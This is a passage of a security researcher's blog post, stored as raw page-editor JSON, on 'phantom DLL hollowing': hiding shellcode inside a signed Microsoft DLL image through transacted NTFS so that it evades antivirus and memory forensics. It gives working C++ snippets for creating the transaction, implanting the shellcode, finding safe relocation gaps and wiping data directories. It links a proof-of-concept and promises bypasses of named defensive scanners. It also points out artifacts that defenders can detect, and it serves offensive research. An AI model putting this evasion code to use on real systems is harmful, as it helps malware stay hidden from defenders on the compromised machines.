region to be +RW using an API such as NTDLL.DLL!NtProtectVirtualMemory after it has been mapped, writing their shellcode to it and then switching it back to +RX prior to execution. This sets off two different alarms for a sophisticated defender to pick up on:","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":102,"length":3,"style":"ITALIC"},{"offset":128,"length":5,"style":"ITALIC"},{"offset":233,"length":3,"style":"ITALIC"},{"offset":377,"length":3,"style":"ITALIC"},{"offset":128,"length":5,"style":"BOLD"},{"offset":258,"length":32,"style":"UNDERLINE"}],"entityRanges":[{"offset":258,"length":32,"key":34}],"data":{}},{"key":"fr3en","text":"Modification of the permissions of a PTE associated with image memory after it has already been mapped using an API such as NTDLL.DLL!NtProtectVirtualMemory.","type":"ordered-list-item","depth":0,"inlineStyleRanges":[{"offset":124,"length":32,"style":"UNDERLINE"}],"entityRanges":[{"offset":124,"length":32,"key":35}],"data":{}},{"key":"ev9ch","text":"A new private view of the modified image section being created within the afflicted process memory space.","type":"ordered-list-item","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"4lth5","text":"While the first alarm is self-explanatory the second merits further consideration. It may be noted in Figure 2 that the initial allocation permissions of all image related memory is +RWXC, or PAGE_EXECUTE_WRITECOPY. By default, mapped views of image sections created from DLLs are shared as a memory optimization by Windows. For example, only one copy of kernel32.dll will reside in physical memory but will be shared throughout the virtual address space of every process via a shared section object. Once the mapped view of a shared section is modified, a unique (modified) copy of it will be privately stored within the address space of the process which modified it. This characteristic provides a valuable artifact for defenders who aim to identify modified regions of image memory without relying on runtime interception of modifications to the PTE.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":102,"length":8,"style":"BOLD"},{"offset":102,"length":8,"style":"ITALIC"},{"offset":182,"length":5,"style":"ITALIC"},{"offset":192,"length":22,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"f62gn","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":36}],"data":{}},{"key":"55rmf","text":"In Figure 6 above, it can be clearly seen that the substantial majority of aadauthhelper.dll in memory is shared, as is typical of mapped image memory. Notably though, two regions of the image address space (corresponding to the .data and .didat sections) have two private pages associated with them. This is because these sections are writable, and whenever a previously unmodified page within their regions is modified it will be made private on a per-page basis. ","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":3,"length":8,"style":"BOLD"},{"offset":75,"length":17,"style":"BOLD"},{"offset":229,"length":5,"style":"BOLD"},{"offset":239,"length":6,"style":"BOLD"},{"offset":3,"length":8,"style":"ITALIC"},{"offset":229,"length":5,"style":"ITALIC"},{"offset":239,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"aceo0","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"6a107","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":37}],"data":{}},{"key":"bhaln","text":"After allowing my hollower to change the protections of the .text section and infect a region with my shellcode, 4K (the default size of a single page) within the .text sections is suddenly marked as private rather than shared. Notably, however many bytes of a shared region are modified (even if it is only one byte) the total size of the affected region will be rounded up to a multiple of the default page size. In this case, my shellcode was 784 bytes which was rounded up to 0x1000, and a full page within .text was made private despite a considerably smaller number of shellcode bytes being written.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":60,"length":5,"style":"BOLD"},{"offset":163,"length":5,"style":"BOLD"},{"offset":511,"length":5,"style":"BOLD"},{"offset":60,"length":5,"style":"ITALIC"},{"offset":163,"length":5,"style":"ITALIC"},{"offset":511,"length":5,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"e4o3c","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"1qap1","text":"Thankfully for us attackers, it is indeed possible to modify an image of a signed PE without changing its contents on disk, and prior to mapping a view of it into memory using transacted NTFS (TxF).","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"7ulqd","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":38}],"data":{}},{"key":"e86ce","text":"Originally designed to provide easy rollback functionality to installers, TxF was implemented in such a way by Microsoft that it allows for complete isolation of transacted data from external applications (including AntiVirus). Therefore if a malware writer opens a TxF file handle to a legitimate Microsoft signed PE file on disk, he can conspicuously use an API such as NTDLL.DLL!NtWriteFile to overwrite the contents of this PE while never causing the malware to be scanned when touching disk (as he has not truly modified the PE on disk). He then has a phantom file handle referencing a file object containing malware which can be used the same as a regular file handle would, with the key difference that it is backed by an unmodified and legitimate\u002Fsigned file of his choice. As previously discussed, NTDLL.DLL!NtCreateSection consumes a file handle when called with SEC_IMAGE, and the resulting section may be mapped into memory using NTDLL.DLL!NtMapViewOfSection. To the great fortune of the malware writer, these may be transacted file handles, effectively providing him a means of creating phantom image sections.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":74,"length":3,"style":"UNDERLINE"},{"offset":372,"length":21,"style":"UNDERLINE"},{"offset":807,"length":25,"style":"UNDERLINE"},{"offset":942,"length":28,"style":"UNDERLINE"},{"offset":873,"length":9,"style":"BOLD"},{"offset":873,"length":9,"style":"ITALIC"}],"entityRanges":[{"offset":74,"length":3,"key":39},{"offset":372,"length":21,"key":40},{"offset":807,"length":25,"key":41},{"offset":942,"length":28,"key":42}],"data":{}},{"key":"71pmn","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"acn8","text":"The essence of phantom DLL hollowing is that an attacker can open a TxF handle to a Microsoft signed DLL file on disk, infect its .text section with his shellcode, and then generate a phantom section from this malware-implanted image and map a view of it to the address space of a process of his choice. The file object underlying the mapping will still point back to the legitimate Microsoft signed DLL on disk (which has not changed) however the view in memory will contain his shellcode hidden in its .text section with +RX permissions. ","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":130,"length":5,"style":"BOLD"},{"offset":504,"length":5,"style":"BOLD"},{"offset":130,"length":5,"style":"ITALIC"},{"offset":504,"length":5,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"187ju","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"5pl0b","text":"NtStatus = NtCreateTransaction(&hTransaction,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":45,"style":"#92908d"},{"offset":0,"length":45,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"agrne","text":"    TRANSACTION_ALL_ACCESS,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"fc5qg","text":"    &ObjAttr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"#92908d"},{"offset":0,"length":13,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"afjpr","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"d668a","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"brmf4","text":"    0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"#92908d"},{"offset":0,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"7uod7","text":"    0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"#92908d"},{"offset":0,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2g5s9","text":"    0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"#92908d"},{"offset":0,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"29ish","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"9s2i2","text":"    nullptr);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"#92908d"},{"offset":0,"length":13,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"44bsn","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"f8mq4","text":"hFile = CreateFileTransactedW(FilePath,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":39,"style":"#92908d"},{"offset":0,"length":39,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"3ma0l","text":"    GENERIC_WRITE | GENERIC_READ, \u002F\u002F The permission to write to the DLL on disk is required even though we technically aren't doing this.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":137,"style":"#92908d"},{"offset":0,"length":137,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"f4897","text":"    0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"#92908d"},{"offset":0,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"g7b2","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"68q96","text":"    OPEN_EXISTING,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":18,"style":"#92908d"},{"offset":0,"length":18,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"7ufc4","text":"    FILE_ATTRIBUTE_NORMAL,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":26,"style":"#92908d"},{"offset":0,"length":26,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"fpil5","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"6fmr5","text":"    hTransaction,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":17,"style":"#92908d"},{"offset":0,"length":17,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"1p2i5","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"dntf6","text":"    nullptr);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"#92908d"},{"offset":0,"length":13,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"5k0ju","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"civab","text":"...","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":3,"style":"#92908d"},{"offset":0,"length":3,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"bs2dd","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"7k3lg","text":"memcpy(pFileBuf + pSectHdrs-\u003EPointerToRawData + dwCodeRva, pCodeBuf, dwReqBufSize);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":83,"style":"#92908d"},{"offset":0,"length":83,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2bphp","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"c250t","text":"if (WriteFile(hFile, pFileBuf, dwFileSize, (PDWORD)& dwBytesWritten, nullptr)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":80,"style":"#92908d"},{"offset":0,"length":80,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"4anic","text":"    HANDLE hSection = nullptr;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":30,"style":"#92908d"},{"offset":0,"length":30,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"f7ntu","text":"    NtStatus = NtCreateSection(&hSection, SECTION_ALL_ACCESS, nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, hFile);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":113,"style":"#92908d"},{"offset":0,"length":113,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"bp02o","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"epc9b","text":"    if (NT_SUCCESS(NtStatus)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":31,"style":"#92908d"},{"offset":0,"length":31,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"3e8ju","text":"        *pqwMapBufSize = 0;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2i9kd","text":"        NtStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), (void**)ppMapBuf, 0, 0, nullptr, (PSIZE_T)pqwMapBufSize, 1, 0, PAGE_READONLY);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":147,"style":"#92908d"},{"offset":0,"length":147,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"96fmh","text":"    }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":5,"style":"#92908d"},{"offset":0,"length":5,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"b7l7n","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"#92908d"},{"offset":0,"length":1,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"ct6lo","text":"","type":"header-two","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"b9736","text":"Notably in the snippet above, rather than using the .text IMAGE_SECTION_HEADER.VirtualAddress to identify the infection address of my shellcode I am using IMAGE_SECTION_HEADER.PointerToRawData. This is due to the fact that although I am not writing any content to disk, the PE file is still technically physical in the sense that it has not yet been mapped in to memory. Most relevant in the side effects of this is the fact that the sections will begin at IMAGE_OPTIONAL_HEADER.FileAlignment offsets rather than IMAGE_OPTIONAL_HEADER.SectionAlignment offsets, the latter of which typically corresponds to the default page size.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":52,"length":5,"style":"BOLD"},{"offset":52,"length":5,"style":"ITALIC"},{"offset":58,"length":35,"style":"ITALIC"},{"offset":155,"length":37,"style":"ITALIC"},{"offset":457,"length":35,"style":"ITALIC"},{"offset":513,"length":38,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"csnu0","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"brq24","text":"The only drawback of phantom DLL hollowing is that even though we are not writing to the image we are hollowing on disk (which will typically be protected In System32 and unwritable without admin and UAC elevation) in order to use APIs such as NTDLL.DLL!NtWriteFile to write malware to phantom files, one must first open a handle to its underlying file on disk with write permissions. In the case of an attacker who does not have sufficient privileges to create their desired TxF handle, a solution is to simply copy a DLL from System32 to the malware’s application directory and open a writable handle to this copy. The path of this file is less stealthy to a human analyst, however from a program’s point of view the file is still a legitimate Microsoft signed DLL and such DLLs often exist in many directories outside of System32, making an automated detection without false positives much more difficult.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":244,"length":21,"style":"UNDERLINE"}],"entityRanges":[{"offset":244,"length":21,"key":43}],"data":{}},{"key":"7qc2q","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"8no2r","text":"Another important consideration with phantom sections is that it is not safe to modify the .text section at an arbitrary offset. This is because a .text section within an image mapped to memory will look different from its equivalent file on disk, and because it may contain data directories whose modification will corrupt the PE. When relocations are applied to the PE, this will cause all of the absolute addresses within the file to be modified (re-based) to reflect the image base selected by the OS, due to ASLR. If shellcode is written to a region of code containing absolute address references, it will cause the shellcode to be corrupted when NTDLL.DLL!NtMapViewOfSection is called.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":91,"length":6,"style":"BOLD"},{"offset":147,"length":5,"style":"BOLD"},{"offset":91,"length":6,"style":"ITALIC"},{"offset":147,"length":5,"style":"ITALIC"},{"offset":652,"length":28,"style":"UNDERLINE"}],"entityRanges":[{"offset":652,"length":28,"key":44}],"data":{}},{"key":"fsf4c","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"37dob","text":"bool CheckRelocRange(uint8_t* pRelocBuf, uint32_t dwRelocBufSize, uint32_t dwStartRVA, uint32_t dwEndRVA) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":107,"style":"ITALIC"},{"offset":0,"length":107,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"5adho","text":"    IMAGE_BASE_RELOCATION * pCurrentRelocBlock;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":47,"style":"ITALIC"},{"offset":0,"length":47,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"b6aoc","text":"    uint32_t dwRelocBufOffset, dwX;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":35,"style":"ITALIC"},{"offset":0,"length":35,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"dbgmj","text":"    bool bWithinRange = false;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":30,"style":"ITALIC"},{"offset":0,"length":30,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"4nfbm","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"3ou97","text":"    for (pCurrentRelocBlock = (IMAGE_BASE_RELOCATION *)pRelocBuf, dwX = 0, dwRelocBufOffset = 0; pCurrentRelocBlock-\u003ESizeOfBlock; dwX++) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":138,"style":"ITALIC"},{"offset":0,"length":138,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"9eduj","text":"        uint32_t dwNumBlocks = ((pCurrentRelocBlock-\u003ESizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) \u002F sizeof(uint16_t));","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":118,"style":"ITALIC"},{"offset":0,"length":118,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"5qahq","text":"        uint16_t *pwCurrentRelocEntry = (uint16_t*)((uint8_t*)pCurrentRelocBlock + sizeof(IMAGE_BASE_RELOCATION));","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":114,"style":"ITALIC"},{"offset":0,"length":114,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"5idl2","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"3engo","text":"        for (uint32_t dwY = 0; dwY \u003C dwNumBlocks; dwY++, pwCurrentRelocEntry++) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":81,"style":"ITALIC"},{"offset":0,"length":81,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"2465t","text":"#ifdef _WIN64","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"ITALIC"},{"offset":0,"length":13,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"f6f2","text":"#define RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_DIR64","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":54,"style":"ITALIC"},{"offset":0,"length":54,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"e2mdt","text":"#else","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":5,"style":"ITALIC"},{"offset":0,"length":5,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"sl8n","text":"#define RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_HIGHLOW","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":56,"style":"ITALIC"},{"offset":0,"length":56,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"74gos","text":"#endif","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"ITALIC"},{"offset":0,"length":6,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"61q","text":"            if (((*pwCurrentRelocEntry \u003E\u003E 12) & RELOC_FLAG_ARCH_AGNOSTIC) == RELOC_FLAG_ARCH_AGNOSTIC) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":104,"style":"ITALIC"},{"offset":0,"length":104,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"7rme1","text":"                uint32_t dwRelocEntryRefLocRva = (pCurrentRelocBlock-\u003EVirtualAddress + (*pwCurrentRelocEntry & 0x0FFF));","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":120,"style":"ITALIC"},{"offset":0,"length":120,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"691it","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"53ts0","text":"                if (dwRelocEntryRefLocRva \u003E= dwStartRVA && dwRelocEntryRefLocRva \u003C dwEndRVA) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":94,"style":"ITALIC"},{"offset":0,"length":94,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"417dl","text":"                    bWithinRange = true;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":40,"style":"ITALIC"},{"offset":0,"length":40,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"d36tg","text":"                }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":17,"style":"ITALIC"},{"offset":0,"length":17,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"3reps","text":"            }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"ITALIC"},{"offset":0,"length":13,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"15e6m","text":"        }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":9,"style":"ITALIC"},{"offset":0,"length":9,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"dnh90","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"e0ac0","text":"        dwRelocBufOffset += pCurrentRelocBlock-\u003ESizeOfBlock;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":60,"style":"ITALIC"},{"offset":0,"length":60,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"3l92s","text":"        pCurrentRelocBlock = (IMAGE_BASE_RELOCATION *)((uint8_t*)pCurrentRelocBlock + pCurrentRelocBlock-\u003ESizeOfBlock);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":119,"style":"ITALIC"},{"offset":0,"length":119,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"eicoj","text":"    }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":5,"style":"ITALIC"},{"offset":0,"length":5,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"7f0da","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"8g2b6","text":"    return bWithinRange;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":24,"style":"ITALIC"},{"offset":0,"length":24,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"cmv0a","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"ITALIC"},{"offset":0,"length":1,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"8o9b4","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"fqm92","text":"In the code above, a gap of sufficient size is identified within our intended DLL image by walking the base relocation data directory. Additionally, as previously mentioned NTDLL.DLL!NtCreateSection will fail if an invalid PE is used as a handle for SEC_IMAGE initialization. In many Windows DLLs, data directories (such as TLS, configuration data, exports and others) are stored within the .text section itself. This means that by overwriting these data directories with a shellcode implant, we may invalidate existing data directories, thus corrupting the PE and causing NTDLL.DLL!NtCreateSection to fail.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":173,"length":25,"style":"UNDERLINE"},{"offset":573,"length":25,"style":"UNDERLINE"},{"offset":250,"length":9,"style":"BOLD"},{"offset":391,"length":5,"style":"BOLD"},{"offset":250,"length":9,"style":"ITALIC"},{"offset":391,"length":5,"style":"ITALIC"}],"entityRanges":[{"offset":173,"length":25,"key":45},{"offset":573,"length":25,"key":46}],"data":{}},{"key":"3vrds","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"302f1","text":"for (uint32_t dwX = 0; dwX \u003C pNtHdrs-\u003EOptionalHeader.NumberOfRvaAndSizes; dwX++) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":82,"style":"#92908d"},{"offset":0,"length":82,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"66bub","text":"    if (pNtHdrs-\u003EOptionalHeader.DataDirectory[dwX].VirtualAddress \u003E= pSectHdrs-\u003EVirtualAddress && pNtHdrs-\u003EOptionalHeader.DataDirectory[dwX].VirtualAddress \u003C (pSectHdrs-\u003EVirtualAddress + pSectHdrs-\u003EMisc.VirtualSize)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":218,"style":"#92908d"},{"offset":0,"length":218,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"9frc2","text":"        pNtHdrs-\u003EOptionalHeader.DataDirectory[dwX].VirtualAddress = 0;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":70,"style":"#92908d"},{"offset":0,"length":70,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"4fcnf","text":"        pNtHdrs-\u003EOptionalHeader.DataDirectory[dwX].Size = 0;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":60,"style":"#92908d"},{"offset":0,"length":60,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"4rlqm","text":"    }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":5,"style":"#92908d"},{"offset":0,"length":5,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"f0c8b","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"#92908d"},{"offset":0,"length":1,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"3kc44","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"4tacp","text":"In the code above I am wiping data directories that point within the .text section. A more elegant solution is to look for gaps between the data directories in .text, similar to how I found gaps within the relocations. However, this is less simple than it sounds, as many of these directories themselves contain references to additional data directories (load config is a good example, which contains many RVA which may also fall within .text). For the purposes of this PoC I’ve simply wiped conflicting data directories. Since the module will never be run, doing so will not affect its execution nor will it affect ours since we are using a PIC shellcode.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":69,"length":5,"style":"BOLD"},{"offset":160,"length":5,"style":"BOLD"},{"offset":437,"length":5,"style":"BOLD"},{"offset":69,"length":5,"style":"ITALIC"},{"offset":160,"length":5,"style":"ITALIC"},{"offset":437,"length":5,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"9ir3s","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"66bva","text":"Last thoughts","type":"header-three","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"daadj","text":"Attackers have long been overdue for a major shift and leap forward in their malware design, particularly in the area of memory forensics. I believe that DLL hollowing is likely to become a ubiquitous characteristic of malware memory allocation over the next several years, and this will prompt malware writers to further refine their techniques and adopt my method of phantom DLL hollowing, or new (and still undiscovered) methods of thwarting analysis of PE images in memory vs. on disk. Until such a time that innovations in theory are called for, I believe it is more valuable to focus on practical solutions to existing defensive technology. For this reason, in my next post in this series I will discuss bypasses for defensive scanners such as Get-InjectedThread, Malfind and Hollowfind.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":750,"length":18,"style":"UNDERLINE"},{"offset":770,"length":7,"style":"UNDERLINE"},{"offset":782,"length":10,"style":"UNDERLINE"}],"entityRanges":[{"offset":750,"length":18,"key":47},{"offset":770,"length":7,"key":48},{"offset":782,"length":10,"key":49}],"data":{}}],"entityMap":{"0":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"left","size":"small","showTitle":true,"showDescription":true},"src":{"id":"c1d8f6_eecf5699090e4b4096fefc5fa49a2503~mv2.jpg","original_file_name":"c1d8f6_eecf5699090e4b4096fefc5fa49a2503~mv2.jpg","file_name":"c1d8f6_eecf5699090e4b4096fefc5fa49a2503~mv2.jpg","width":761,"height":900}}},"1":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fgithub.com\u002Fforrest-orr\u002Fphantom-dll-hollower-poc","target":"_blank","rel":"noopener"}},"2":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fgist.githubusercontent.com\u002Fjaredcatkinson\u002F23905d34537ce4b5b1818c3e6405c1d2\u002Fraw\u002F104f630cc1dda91d4cb81cf32ef0d67ccd3e0735\u002FGet-InjectedThread.ps1","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fgist.githubusercontent.com\u002Fjaredcatkinson\u002F23905d